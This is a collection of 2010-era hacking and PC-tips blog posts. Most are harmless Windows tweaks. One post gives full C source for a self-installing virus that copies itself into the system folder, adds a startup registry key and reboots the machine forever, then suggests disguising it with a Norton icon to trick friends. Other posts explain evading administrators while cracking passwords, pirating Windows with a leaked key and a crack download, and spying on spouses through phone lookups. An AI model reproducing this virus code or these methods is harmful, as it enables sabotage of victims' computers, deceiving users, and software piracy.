Even though there is no national cell phone lookup directory available in United States due to various privacy concerns, there are still a number of top quality directories used by various private detectives, journalists and those why are in need to spy on their cheating spouse or children. These companies invest a lot of time and financial resources in gathering mobile phone and landline numbers by using both private and public sources, as well as major cell phone carrier restricted databases.
Thus by using this service it becomes just a cakewalk for anyone to find the details associated with any phone number whether it be a cell phone or a landline. The entire process of finding someone by cellphone number is very straightforward – all you need to do is just enter the phone number that you want to trace down and hit the “Search” button. You will be able to instantly view the information such as the phone owner’s name, age, mobile provider, billing address, previous addresses and more.
I recommend the following cell phone directory to search both mobile & landline and listed/unlisted residential numbers. The site is completely safe and uses a 128-bit secured access to maintain 100% privacy of the uses. All searches remains private and anonymous. Click on the following link to gain access now!

Hack/Alter Windows Vista Base Score

2010-08-05T22:07:00.001-07:00

If you are a Windows Vista user then you are very likely to be familiar with the Base Score. This score is calculated based on the computer’s hardware and software configuration. This score act’s as a rating to your PC. If you have a too low base score then don’t worry. Hacking Windows Vista’s so called Base Score is very easy. It is possible to hack this score within no time.Here are the snapshots of my own system. Actually my system’s base score is 3.7. But I have brought it up to 9.5 with this small hack. Can you beleive this!!

Here is a step-by-step instruction to hack Vista Base score
1. Navigate to

C:\Windows\Performance\WinSAT\DataStore

2. You should see a .xml file with Assessment (Formal).WinSAT as filename
3. Right-click it and select open with ‘Wordpad’ (Not notepad!)
4. On line 12, you should see something like the following:

9.5
9.5
9.5
9.5
5.5
9.5
9.5
9.5

5. You can enter any number in the place where I have written 9.5. But the number should be less than 10.
6. Once you have entered the number of your choice save the file and close it.
7. That’s it. You have successfully altered your Windows Vista base score. No restart is required.

Inside GOOGLE – A Collection of Strange Links on Google

2010-08-05T22:06:00.002-07:00

Password Hacking FAQ

2010-08-05T22:06:00.000-07:00

1. What are some password basics?

Most accounts on a computer system usually have some method of restricting access to that account, usually in the form of a password. When accessing the system, the user has to present a valid ID to use the system, followed by a password to use the account. Most systems either do not echo the password back on the screen as it is typed, or they print an asterisk in place of the real character.
On most systems,the password is typically ran through some type of algorithm to generate a hash. The hash is usually more than just a scrambled version of the original text that made up the password, it is usually a one-way hash. The one-way hash is a string of characters that cannot be reversed into its original text. You see, most systems do not “decrypt” the stored password during authentication, they store the one-way hash. During the login process, you supply an account and password. The password is ran through an algorithm that generates a one-way hash. This hash is compared to the hash stored on the system. If they are the same, it is assumed the proper password was supplied.
Cryptographically speaking, some algorithms are better than others at generating a one-way hash. The main operating systems we are covering here — NT, Netware, and Unix — all use an algorithm that has been made publically available and has been scrutinized to some degree.
To crack a password requires getting a copy of the one-way hash stored on the server, and then using the algorithm generate your own hash until you get a match. When you get a match, whatever word you used to generate your hash will allow you to log into that system. Since this can be rather time-consuming, automation is typically used. There are freeware password crackers available for NT, Netware, and Unix.

2. Why protect the hashes?

If the one-way hashes are not the password itself but a mathematical derivative, why should they be protected? Well, since the algorithm is already known, a password cracker could be used to simply encrypt the possible passwords and compare the one-way hashes until you get a match. There are two types of approaches to this — dictionary and brute force.
Usually the hashes are stored in a part of the system that has extra security to limit access from potential crackers.

3. What is a dictionary password cracker?

A dictionary password cracker simply takes a list of dictionary words, and one at a time encrypts them to see if they encrypt to the one way hash from the system. If the hashes are equal, the password is considered cracked, and the word tried from the dictionary list is the password.
Some of these dictionary crackers can “manipulate” each word in the wordlist by using filters. These rules/filters allow you to change “idiot” to “1d10t” and other advanced variations to get the most from a word list. The best known of these mutation filters are the rules that come with Crack (for Unix). These filtering rules are so popular they have been ported over to cracking software for NT.
If your dictionary cracker does not have manipulation rules, you can “pre-treat” the wordlist. There are plenty of wordlist manipulation tools that allow all kinds of ways to filter, expand, and alter wordlists. With a little careful planning, you can turn a small collection of wordlists into a very large and thorough list for dictionary crackers without those fancy word manipulations built in.

4. What is a brute force password cracker?

A brute force cracker simply tries all possible passwords until it gets the password. From a cracker perspective, this is usually very time consuming. However, given enough time and CPU power, the password eventually gets cracked.
Most modern brute force crackers allow a number of options to be specified, such as maximum password length or characters to brute force with.

5. Which method is best for cracking?

It really depends on your goal, the cracking software you have, and the operating system you are trying to crack. Let’s go through several scenarios.
If you remotely retrieved the password file through some system bug, your goal may be to simply get logged into that system. With the password file, you now have the user accounts and the hashes. A dictionary attack seems like the quickest method, as you may simply want access to the box. This is typical if you have a method of leveraging basic access to gain god status.
If you already have basic access and used this access to get the password file, maybe you have a particular account you wish to crack. While a couple of swipes with a dictionary cracker might help, brute force may be the way to go.
If your cracking software does both dictionary and brute force, and both are quite slow, you may just wish to kick off a brute force attack and then go about your day. By all means, we recommend a dictionary attack with a pre-treated wordlist first, followed up by brute force only on the accounts you really want the password to.
You should pre-treat your wordlists if the machine you are going to be cracking from bottlenecks more at the CPU than at the disk controller. For example, some slower computers with extremely fast drives make good candidates for large pre-treated wordlists, but if you have the CPU cycles to spare you might want to let the cracking program’s manipulation filters do their thing.
A lot of serious hackers have a large wordlist in both regular and pre-treated form to accommodate either need.

6. What is a salt?

To increase the overhead in cracking passwords, some algorithms employ salts to add further complexity and difficulty to the cracking of passwords. These salts are typically 2 to 8 bytes in length, and algorithmically introduced to further obfuscate the one-way hash. Of the major operating systems covered here, only NT does not use a salt. The specifics for salts for both Unix and Netware systems are covered in their individual password sections.
Historically, the way cracking has been done is to take a potential password, encrypt it and produce the hash, and then compare the result to each account in the password file. By adding a salt, you force the cracker to have to read the salt in and encrypt the potential password with each salt present in the password file. This increases the amount of time to break all of the passwords, although it is certainly no guarantee that the passwords can’t be cracked. Because of this most modern password crackers when dealing with salts do give the option of checking a specific account.

7. What are the dangers of cracking passwords?

The dangers are quite simple, and quite real. If you are caught with a password file you do not have legitimate access to, you are technically in possession of stolen property in the eyes of the law. For this reason, some hackers like to run the cracking on someone else’s systems, thereby limiting their liability. I would only recommend doing this on a system you have a legitimate or well-established account on if you wish to keep a good eye on things, but perhaps have a way of running the cracking software under a different account than your own. This way, if the cracking is discovered (as it often is — cracking is fairly CPU-intensive), it looks to belong to someone else. Obviously, you would want to run this under system adminstrator priviledges as you may have a bit more control, such as assigning lower priority to the cracking software, and hiding the results (making it less obvious to the real administrator).
Being on a system you have legit access to also allows you better access to check on the progress. Of course, if it is known you are a hacker, you’ll still be the first to be blamed whether the cracking software is yours or not!
Running the cracking software in the privacy of your own home has the advantage of allowing you to throw any and all computing power you have at your disposal at a password, but if caught (say you get raided) then there is little doubt whose cracking job is running. However, there are a couple of things you can do to protect yourself: encrypt your files. Only decrypt them when you are viewing them, and wipe and/or encrypt them back after you are done viewing them.

8. Is there any way I can open a password-protected Microsoft Office document?

Certainly! There are plenty of commercial programs that will do this, but we give props to Elcomsoft. 30-day trial versions are available here.

Guessing Game In C

2010-08-05T22:05:00.001-07:00

This is a small guessing game written in C. In this guessing game you have to guess a number between 0 & 100. You have 8 chances to do that. Every time you guess wrongly the program will give you a hint that your guess is too high or your guess is too low. Based on this hint you have to guess the number in the remaining attempts. Here’s the code

#include
#include
#include void main()
{
int num,guess=-1,tries=0,pass=0;
time_t t;
srand((unsigned)time(&t));
num=rand()%100;
while((guess!=num)&&tries<8)
{
printf(“Enter the guess num b/w 0 & 100 (you have %d tries left out)\n”,(8-tries)); scanf(“%d”,&guess);
tries++;
if(guess==num)
{
printf(“Hurray you guessed it correctly!!!\n”);
pass=1;
}
else if(num< guess)
printf(“Your guess is too high\n”);
else
printf(“Your guess is too low\n”);
}
if(pass==0)
printf(“Sorry you lost! The correct number is %d\n”,num);
}

Free Anonymous web surfing with Ultrasurf

2010-08-03T15:54:00.002-07:00

If any of you are banned from forums or any other internet group, or wanted to bypass Rapidshare unlimited download or wanted to bypass school firewall to acess sites like Facebook,orkut,myspace etc.In this post i have mentioned about a tool called Ultrasurf to browse the web anonymously.I had preveiously posted on IP Hiding Method for anonymous browsing,.Today i will tell you on how to use Ultrasurf for anonymous web surfing.

Ultrasurf is totally free software used to surf anonymously. It is better than any other anonymous browsing software. Infact, it searches for 3 fast proxy servers, assigns percentage(%) indicating speed of proxy servers and we can choose any of three.

Using ultrasurf for anonymous web surfing:

1.First of all download Ultrasurf
2.Now extract the contents from the file
3.Now log on to www.whatismyipaddress.com and check your current IP address
4.Run u.exe

You will see a window like this:

5.Now, you can see three proxy servers with their speed percentages.
6. Just select the proxy server with max speed.
7.And you are Done.

Now just log in to www.whatismyipaddress.com and see your newly changed IP Address.This Method is only for Internet explorer users,I will soon post an article on Anonymous Browsing with firefox and other browsers

Hide your IP address

2010-08-03T15:54:00.001-07:00

Your IP is exposed when ever you visit a website,when your Ip gets exposed it becomes easy to trace you and find out your personal information,Hackers can use your Ip to gain access to your personal files and documents and even can get into your paypal,alert etc accounts,Hide the Ip is a Software which masks your IP with one click and you can surf web anonymously,on the other hand Hackers can use this software to hide theiridentity and not get caught,its benificial for all and i recommend that every Pc should have this software installed

Hide the IP to be the best one. It’s ease of use, reliability, wide range of options, speed and unmatchable price were on top when compared to that of the remaining IP Hising softwares on the market.

Key Features of Hide the IP:

Hide IP Address »
Single click to completely hide your Online Identity. Others will see a fake IP address masking your real IP, thus, protecting your privacy.

Select Your Physical IP Location »
You decide which country will be indicated as your origin by simply choosing from a country list. We have hundreds, hourly updated, IP addresses available for use.

Anonymous Web Surfing »
You are protected from hackers who will be tricked by your fake IP instead of your real. They will never be able to find any information about you by tracing the fake IP.
Send Anonymous E-mails » Hide your IP in E-mail headers. Be protected while sending emails from Yahoo!, Hotmail, GMail. Upgrading to Platinum Service add-on will protect you in Outlook!

Bypass Website Country Restrictions »
Surf websites which are restricted for your country. Surf in forums on which you were banned.

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Install media player 11 on Priated windows

2010-08-03T15:52:00.001-07:00

Windows media player 11 offers you great ways to store and enjoy all your music, video and pictures along with its new cool look.However if you do not have a geniune pack of windows service pack 2 you will not be able to run and install windows media player.I have already posted article on How to make windows xp geniune.
Here are the steps to Install windows media player 11 in priated windows

1. Download Windows Media Player 11.0 (make sure its the final and latest version, not beta) from the Microsoft Site.
2. Extract the downloaded Windows Media Player setup file (wmp11-windowsxp-x86-enu.exe) using WinRAR to a directory (wmp11-windowsxp-x86-enu). Now make sure you have a “LegitLibM.dll” file in the extracted “wmp11-windowsxp-x86-enu” folder.

3.Download the patched LegitLibM.dll and then copy-paste it to the “wmp11-windowsxp-x86-enu” folder and click yes when asked to overwrite.

4. Now run “setup_wm.exe” file in the “wmp11-windowsxp-x86-enu” folder.

5.Restart your PC, then run your Windows Media Player and you are done!

Make windows genuine in a minute

2010-08-03T15:52:00.000-07:00

Make your Windows XP with Service Pack 2 geniune. Im not sure if this works on SP3.

This procedure described below will allow you to bypass the Microsoft Genuine Validation.
I hope this is the best way to make your copy of windows xp geniune.

Step 1:
Click Start and then goto run and type ‘regedit’

Step 2:
Registry window will be opened, Then Go to
HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\Windows NT\CurrentVersion\WPAEvents\OOBETimer

and double click on it. Then change some of the value data to any thing.

Step 3:
Go to start > run > “%systemroot%\system32\oobe\msoobe.exe /a” (again, dont type the quotes)

Step 4:
The activation screen will come up, click on register over telephone, then click on CHANGE PRODUCT KEY, enter in this key: JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ.

Now you can download all the updates without activating, and the Genuine Microsoft Validation will irritate you No more.

Note: This works better after reformating

Or else do you want to download the crack for XP,XP home,XP 2 and Vista, I am placing it in a zip folder pls download it from the below link

http://rapidshare.com/files/71090926/Crack_For_XP.rar

A Virus Program to Restart the Computer at Every Startup

2010-08-02T19:35:00.001-07:00

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus since I have coded this virus in C. So if you are familiar with C language then it’s too easy to understand the logic behind the coding.
Here is the source code.

#include
#include
#include int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}

NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto

X:\Windows\System

(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.

LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

How to Compile C Programs

2010-08-02T19:35:00.000-07:00

In many of my previous posts especially in the VIRUS CREATION section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs.

How to install Borland C++ compiler

1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link.
http://www.codegear.com/downloads/free/cppbuilder
2. After you download, run freecommandlinetools.exe. The default installation path would be

C:\Borland\BCC55

How to configure Borland C++ compiler

1. After you install Borland C++ compier, create two new Text Documents
2. Open the first New Text Document.txt file and add the following two lines into it

-I”c:\Borland\Bcc55\include” -L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg.
3. Open the second New Text Document (2).txt file and add the following line into it

-L”c:\Borland\Bcc55\lib”

Save changes and close the file. Now rename the file from New Text Document (2).txt to ilink32.cfg.
4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them.

How to compile the C source code (.C files)

1. You need to place the .C (example.c) file to be compiled in the following location

C:\Borland\BCC55\Bin

2. Now goto command prompt (Start->Run->type cmd->Enter)
3. Make the following path as the present working directory (use CD command)

C:\Borland\BCC55\Bin

4. To compile the file (example.c) use the following command

Command to Compile C Program

bcc32 example.c

5. Now if there exists no error in the source code you’ll get an executable file (example.exe) in the same location (C:\Borland\BCC55\Bin).
6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’ve installed the compiler onto the C: drive (by default).

Changing Windows XP Product Key without Re-Installation

2010-08-02T19:29:00.001-07:00

This trick will show you how to change Windows XP product key without re-installing the operating system. This makes it possible to install a new genuine key without the need to format and re-install your Windows XP.

1. Goto start menu, run, type regedit
2. In registry editor goto

HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENT VERSION\WPA EVENTS

3. In the right panel open OOBE Timer
4. Edit/Change atleast one entry there, press OK and close registry editor.
5. In run type the following command

%systemroot%\system32\oobe\msoobe /a

and press enter
6. Activation wizard appears
7. Select activation by phone and in the next screen select the option CHANGE PRODUCT KEY, enter a valid corporate product key, press OK and close the wizard
8. Reboot the computer and type the same command in the Run
9. Activation wizard appears again and it shows the message WINDOWS IS ALREADY ACTIVATED.

How to Change User Information in Windows

2010-08-02T19:28:00.001-07:00

On a regular basis, people ask me questions about changing user information, the information you provided when you installed Windows. You can change it. Here is a step-by-step instruction.

1. Open the Registry Editor (Type regedit inside the Run box and hit Enter)
2. Navigate to the following key

HKLM\SOFTWARE\Microsoft\Windows NT\ CurrentVersion

3. Look for the following details and make necessary changes as follows

>>RegisteredOrganization
The name of the organization (Change this to your desired organization) >>RegisteredOwner
The name of the user (Change this to your desired name)

These changes are reflected in the system instantaneously and requies no reboot. You can confirm this by seeing the system properties (Right-Click on “My Computer” icon and select properties).
Both are REG_SZ values. Changing the registered organization and owner names doesn’t affect installed applications. However, applications that you install after changing these values are likely to pick up the new names.

Chat without Yahoo Messenger or Gtalk

2010-08-02T19:27:00.001-07:00

Can we chat without Yahoo messenger? Most of us are familiar with the most widely used applications such as Yahoo messenger and Gtalk to carry out chatting with our friends. But here I’ll show how to chat without Yahoo messenger or Gtalk. As we all know the information we exchange with their servers(Yahoo or Gtalk) are recorded and stored along with the corresponding IP addresses. This may hurt our privacy since all the information we exchange while chatting has to pass through a third party server.
Moreover if the matter is highly confidential, then it is necessary to have a totally private chat where the messages are exchanged only between the people involved in the chat and not with any other third party servers. At these situations, it is better to chat without Yahoo messenger.

So, how to carry out a private chat without Yahoo messenger or Gtalk?
For this purpose there exists many softwares that support’s you to host a web-based chat system without any additional software or services. So with these softwares the exchange of messages takes place directly between the two persons engaging in the chat and will not pass through any other third party server. This ensures 100% privacy and eliminates the desperate need to chat with Yahoo messenger.

One of my favorite program for private chat is Easy Chat Server

Easy Chat Server is a Windows program that allows you to host a web-based chat system without any additional software or services. Unlike other chat server, you do not need to install Java. It allows you to build one or more web-based chat rooms on your machine, and provides advanced chat functionalities aiming to offer discussion space for your users, customers and partners.
Here are some of the screenshots of Easy Chat Server.

Key Features of Easy Chat Server:

Easy to use, Simple installation that will have you up and running in minutes.
128-Bit Security Socket Layer(SSL) support. Support for server level certificate creation.
Instantly runs a complete chat server on your PCs – does not need to install any Web Server.
Supports full private messaging and One to One private chat.
Support of images, smileys, avatar icons.
Full chat and access logs are available within the chat server.
Have a built-in IP Filter, supports banning/unbanning IP address, securely.
Multiple styles available for the user to customize rooms.
Unlimited rooms and users, no any annual, per-user, or maintenance fees.
No spyware, adware or other unwanted extra programs.

Know More About Trojans and Backdoors

2010-08-02T19:26:00.001-07:00

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

Attacker gets access to the trojaned system as the system goes online
By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

Remote Access Trojans
Password Sending Trojans
Keyloggers
Destructive
Denial Of Service (DoS) Attack Trojans
Proxy/Wingate Trojans
FTP Trojans
Software Detection Killers

Modes of Transmission

Attachments
Physical Access
Browser And E-mail Software Bugs
NetBIOS (File Sharing)
Fake Programs
Un-trusted Sites And Freeware Software

Backdoor Countermeasures

Most commercial ant-virus products can automatically scan and detect backdoor programs before they can cause damage (Eg. before accessing a floppy, running exe or downloading mail)
An inexpensive tool called Cleaner (http://www.moosoft.com/cleanet.html) can identify and eradicate 1000 types of backdoor programs and trojans.
Educate your users not to install applications downloaded from the internet and e-mail attachments.

Common Terminologies used in Internet Security

2010-08-02T19:25:00.001-07:00

If you are a newbie in Internet security, you have come to the right place. The following is information on some common terms used in Internet security. So next time you don’t have to scratch your head when someone uses these.
Firewall – is a system that acts as a barrier between your computer network and the Internet. A firewall controls the flow of information according to security policies.
Hacker – can be anyone specializing in accessing computer based systems for illegal purposes or just for the fun of it.
IP spoofing – is an attempt to access your system by pretending like another system. This is done by setting up a system with an IP address that you normally trust.
Sniffing – is the spying on electronic transmissions to access data. This mostly occurs in privately owned LAN networks connected to the web.
Trojan horse – a program pretending like useful software, while its actual strategy is to access, steal or destroy user data and access authorization. Apart from destroying information, trojans can also create a backdoor on your system for stealing confidential information.
Virus – is a program that attaches itself to a program or file. This allows it to spread across networks and cause damage to software and hardware. To operate, viruses require the execution of the attached file.
Worm - A worm is almost similar to a virus, except that it doesn’t need the execution of any executable file to get activated. It can also replicate itself as it travels across networks.

Get a Call from your own Cell Phone number

2010-08-01T13:49:00.002-07:00

Here is a trick to get a call to your cell phone from your own number. Do you think I am crazy? No, I am not…….
Just try the following steps and you’ll get a call to your cell phone from your own number.

1. Just give a missed call to this number. You’ll not be charged!

+41445804650

2. Wait for a few seconds and you’ll get a call to your cell phone from your own number
3. Receive the call. You’ll hear a lady voice asking for a PIN number. Just enter some rubbish number.
4. She say’s- Your PIN cannot be processed and the call disconnects..

ANOTHER TRICK

Instead of giving a missed call, just continue calling. The call will not be received and will get disconnected just after a while. But now do you know what happen’s?
You will get a call from the number

+501

Just try and pass your comments. Tell me whether the second trick worked or not!!

NOTE: Sorry, this trick is no longer working!

What is MD5 Hash and How to Use it?

2010-08-01T13:49:00.000-07:00

In this post I will explain you about one of my favorite and interesting cryptographic algorithm called MD5 (Message-Digest algorithm 5). This algorithm is mainly used to perform file integrity checks under most circumstances. Here I will not jump into the technical aspects of this algorithm, rather will tell you about how to make use of this algorithm in your daily life. Before I tell you about how to use MD5, I would like to share one of my recent experience which made me start using MD5 algorithm.
Recently I made some significant changes and updates to my website and as obvious I generated a complete backup of the site on my server. I downloaded this backup onto my PC and deleted the original one on the server. But after a few days something went wrong and I wanted to restore the backup that I downloaded. When I tried to restore the backup I was shocked! The backup file that I used to restore was corrupted. That means, the backup file that I downloaded onto my PC wasn’t exactly the one that was on my server. The reason is that there occured some data loss during the download process. Yes, this data loss can happen often when a file is downloaded from the Internet. The file can be corrupted due to any of the following reasons.

Data loss during the download process, due to instability in the Internet connection/server
The file can be tampered due to virus infections or
Due to Hacker attacks

So whenever you download any valuable data from the Internet it is completely necessary that you check the integrity of the downloaded file. That is you need to ensure that the downloaded file is exactly the same as that of the original one. In this scenario the MD5 hash can become handy. All you have to do is generate MD5 hash (or MD5 check-sum) for the intended file on your server. After you download the file onto your PC, again generate MD5 hash for the downloaded file. Compare these two hashes and if it matches then it means that the file is downloaded perfectly without any data loss.
A MD5 hash is nothing but a 32 digit hexadicimal number which can be something as follows

A Sample MD5 Hash

e4d909c290d0fb1ca068ffaddf22cbd0

This hash is unique for every file irrespective of it’s size and type. That means two .exe files with the same size will not have the same MD5 hash even though they are of same type and size. So MD5 hash can be used to uniquely identify a file.

How to use MD5 Hash to check the Integrity of Files?

Suppose you have a file called backup.tar on your server. Before you download, you need to generate MD5 hash for this file on your server. To do so use the following command.
For UNIX:

md5sum backup.tar

When you hit ENTER you’ll see something as follows

e4d909c290d0fb1ca068ffaddf22cbd0

This is the MD5 hash for the file backup.tar. After you download this file onto your PC, you can cross check it’s integrity by again re-generating MD5 hash for the downloaded file. If both the hash matches then it means that the file is perfect. Otherwise it means that the file is corrupt. To generate the MD5 hash for the downloaded file on your Windows PC use the following freeware tool
MD5 Summer (Click on the link to download)
I hope you like this post. For further doubts and clarifications please pass your comments. Cheers!

Speed Up PC – How to Boost your PC Speed

2010-08-01T13:47:00.001-07:00

5 Ways to Speed Up PC

Are you fed up with your slow PC? Well you can Speed Up your PC by 3 times. In this post you’ll find some of the most significant ways to speed up your PC. For your convenience, I ’ll split this post into 2 parts.
1. Automatic Ways to Speed Up PC (Using PC Speed Up Softwares)
2. Manual Ways to Speed Up PC

Automatic Ways to Speed Up PC

You can use a PC Optimizer Tool to automatically boost the Speed of your PC without the need to worry about the manual ways of doing it. These tools will automatically find and fix upto 99% of your PC errors by optimizing the Windows registry, cleaning up junk files, removing unwanted items from the start up etc. This can speed up your PC and Internet speed by upto 3 times. Here are some of the best PC Optimizer Programs that I recommend.
1. Perfect Optimizer
2. Registry Easy
Using a PC Optimizer is the easiest way to speed up your PC. This is because, most of the performance tweaks such as Registry Cleanup cannot be done manually.

Manual Ways to Speed Up Your PC

1. Free Up Disk Space to increase the speed of your PC

Remove temporary Internet files.
Empty the Recycle Bin.
Remove Windows temporary files.
Uninstall Programs that you no longer use.

2. Periodically Perform Hard Disk Defragment. This can Speed Up your PC significantly.
3. Clean Up your Registry (Highly Recommended)
Cleaning Up your Windows Registry is very much necessary to speed up your PC. Unfortunately you cannot do this manually. You have to use a Registry Cleaner to do this. Here is the best registry cleaner on the web.
Registry Easy
A complete review of registry cleaners can be found at Registry Cleaner Comparison
4. Clean Up the browser cache to Speed Up your Internet.
5. Install a good Antispyware software
Spywares can really hurt the performance of your PC. So, install a good anti-spyware to protect your PC from spywares and improve the speed of your PC. I recommend the following Antispywares to protect your PC.
1. Spyware Cease
2. Nodware Anti-Spyware

Which is the Best Way to Speed Up my PC? (Auto or Manual)

The best way to speed Up your PC is by using a PC Optimizer such as Perfect Optimizer or Registry Easy. This is because, manual ways can only perform 30-40% of the tweaks to improve the speed of your PC, but the most important aspect of the Speed Up process such as Registry clean Up and other advanced performance tweaks can only be done using a PC Optimizer software. So if you are serious about improving the speed of your PC, then you need to use a PC Optimizer.

How to Alter Windows Product ID

2010-07-30T14:56:00.001-07:00

If you are running a Microsoft Windows operating system on your computer, then you are most likely aware of the fact that your PC will have a Product ID. This Product ID is a system specific alphanumeric code which is derived/calculated based on the Windows product key you use and the hardware configuration of your Computer. In simple words, Product ID is the alphanumeric code that you see when you Right-Click on the My Computer icon and select the Properties option.

Ever wondered how to alter the Windows Product ID?

It is possible to alter the Windows Product ID and change it to what ever you like. For example, you can change the Product ID and put your nickname in place of the formal Product ID displayed by the Operating System. This hack is too easy and can be done within minutes. The screenshot showing the altered Product ID is given below
Win 7 PC showing Original PID

Windows 7 PC showing Altered PID

As you can see from the above screenshot it is simple and easy to make your Windows display what ever you want in the place of the real Product ID. Here is a step-by-step procedure to alter your Windows Product ID.
1. Goto Start->Run and type the following in the Run dialog box

regedit

2. After you open the Registry Editor, navigate to the following key

HKey_Local_Machine\Software\Microsoft\Windows NT\Current Version

3. On the right hand side, you can see an entry by name ProductID listed under the heading Name.
4. Double-Click on ProductID, a dialog box will pop-up showing your Windows PID. Now you can delete the original PID and enter anything of your choice.
5. Once you are done, just click on OK and close the Registry Editor. Now you can see the altered Product ID in the Windows Properties window.

NOTE: This trick works on Win 7, Vista and Win XP

I hope you like this trick. Pass your comments. Cheers!

How to Copy Locked Photos from Orkut

2010-07-30T14:55:00.003-07:00

Recently Orkut updated it’s security feature and disabled Right-click on photos of friend’s album. So this makes it difficult to copy photos from Orkut. It’s a new security update made by Orkut to prevent people from copying photos from Orkut and misusing it. This may be annoying most of you! Then…

How To Copy Locked Photos From Orkut?
Yes it’s still possible to copy the photos from Orkut. Here’s a step-by-step procedure to copy the photo.
1. Login into your Orkut Account.
2. Goto your friend’s album and open the photo that you need to copy.
3. Once the photo is loaded to it’s full size just place the mouse cursor on the photo.
4. Press the left click button and drag and drop the photo onto the ADDRESS BAR. I think this trick is no longer working. So I have a new trick….
